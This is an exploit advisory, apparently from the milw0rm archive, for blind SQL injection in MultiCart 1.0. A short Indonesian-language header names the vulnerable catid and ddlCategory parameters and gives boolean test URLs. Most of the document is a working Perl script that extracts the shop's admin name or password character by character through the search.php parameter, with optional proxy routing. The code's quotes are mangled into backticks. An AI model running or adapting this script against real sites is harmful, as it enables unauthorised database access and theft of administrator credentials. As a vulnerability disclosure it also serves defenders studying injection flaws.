MultiCart 1.0 Remote Blind SQL Injection Exploit# Indonesian Newhack Security Advisory
# ------------------------------------
# MultiCart 1.0 Remote Blind SQL Injection
# Waktu			:  Sep 30 2007 02:00AM
# Software		:  MultiCart 1.0
# Vendor		:  http://www.iscripts.com/multicart/
# Ditemukan oleh	:  k1tk4t  |  http://newhack.org
# Lokasi		:  Indonesia
#
#  ----
#  /categorydetail.php?catid=[BLIND SQLI]
#  parameter `catid` pada categorydetail.php tidak terfilter dengan baik, 
#  sehingga mengizinkan penyerang untuk memanipulasi SQL query pada parameter `catid`
#  contoh ; 
#  http://localhost/categorydetail.php?catid=1'AND 1=1/*
#  http://localhost/categorydetail.php?catid=1'AND 1=2/*
#  ----
#  /search.php?chkProductName=on&chkIncludeSubcategories=on&sd=1&txtSearch=&ddlCategory=[BLIND SQLI]
#  parameter `ddlCategory` pada search.php tidak terfilter dengan baik, 
#  sehingga mengizinkan penyerang untuk memanipulasi SQL query pada parameter `ddlCategory`
#  contoh ; 
#  http://localhost/search.php?chkProductName=on&chkIncludeSubcategories=on&sd=1&txtSearch=&ddlCategory=1 AND 1=2  
#  http://localhost/search.php?chkProductName=on&chkIncludeSubcategories=on&sd=1&txtSearch=&ddlCategory=1 AND 1=1
#  ----
#
#  Terima Kasih untuk;
#  str0ke, DNX, xoron
#  nyubi,iFX,kin9k0ng,bius,selikoer,aldy_BT
#  Komunitas Security dan Hacker Indonesia
#  -[opt1lc, fl3xu5, ghoz]- yang telah memberikan nuansa baru untuk Newhack
#
#!/usr/bin/perl
use LWP::UserAgent;
use Getopt::Long;

if(!$ARGV[1])
{
 print `\n  |-------------------------------------------------|`;
 print `\n  |         Indonesian Newhack Technology           |`;
 print `\n  |-------------------------------------------------|`;
 print `\n  | MultiCart 1.0 (search.php) Blind SQL Injection  |`;
 print `\n  |     Found by k1tk4t [k1tk4t(at)newhack.org]     |`;
 print `\n  |   DNX Code [dnx(at)hackermail.com] | Modified   |`;
 print `\n  |-------------------------------------------------|`;
 print `\n[!] `;
 print `\n[!] Bug: in the search.php script, u can inject sql code in the (ddlCategory) parameter`;
 print `\n[!] Usage: perl multicart.pl [Host] [Path] <Options>`;
 print `\n[!] Example: perl multicart.pl 127.0.0.1 /cart/ -c 10 -o 1 -t multicart_config`;
 print `\n[!] Options:`;
 print `\n       -c [no]       Valid ddlCategory Search, default is 1`;
 print `\n       -o [no]       1 = get admin name (default)`;
 print `\n                     2 = get admin password`;
 print `\n       -t [name]     Changes the settings table name, default is multicart_settings`;
 print `\n       -p [ip:port]  Proxy support`;
 print `\n`;
 exit;
}

my $host    = $ARGV[0];
my $path    = $ARGV[1];
my $cat     = 1;
my $column  = `admin_name`;
my $table   = `multicart_settings`;
my %options = ();
GetOptions(\%options, `c=i`, `o=i`, `t=s`, `p=s`);

print `[!] Exploiting...\n`;

if($options{`c`}) { $cat = $options{`c`}; }
if($options{`o`} &amp;&amp; $options{`o`} == 2) { $column = `admin_password`; }
if($options{`t`}) { $table = $options{`t`}; }

syswrite(STDOUT, `[!] Data : `, 12);

for(my $i = 1; $i <= 32; $i++)
{
 my $found = 0;
 my $h = 48;
 while(!$found &amp;&amp; $h <= 57)
 {
   if(istrue2($host, $path, $table, $i, $h))
   {
     $found = 1;
     syswrite(STDOUT, chr($h), 1);
   }
   $h++;
 }
 if(!$found)
 {
   $h = 97;
   while(!$found &amp;&amp; $h <= 122)
   {
     if(istrue2($host, $path, $table, $i, $h))
     {
       $found = 1;
       syswrite(STDOUT, chr($h), 1);
     }
     $h++;
   }
 }
}

print `\n[!] Exploit done\n`;

sub istrue2
{
 my $host  = shift;
 my $path  = shift;
 my $table = shift;
 my $i     = shift;
 my $h     = shift;

 my $ua = LWP::UserAgent->new;
 my $url = `http://`.$host.$path.`search.php?chkProductName=on&amp;chkIncludeSubcategories=on&amp;sd=1&amp;txtSearch=&amp;ddlCategory=`.$cat.`%20AND%20SUBSTRING((SELECT%20`.$column.`%20FROM%20`.$table.`%20LIMIT%200,1),`.$i.`,1)=CHAR(`.$h.`)`;

 if($options{`p`})
 {
   $ua->proxy('http', `http://`.$options{`p`});
 }

 my $response = $ua->get($url);
 my $content = $response->content;
 my $regexp = `navigate`;

 if($content =~ /$regexp/)
 {
   return 1;
 }
 else
 {
   return 0;
 }
}

# milw0rm.com [2007-10-02]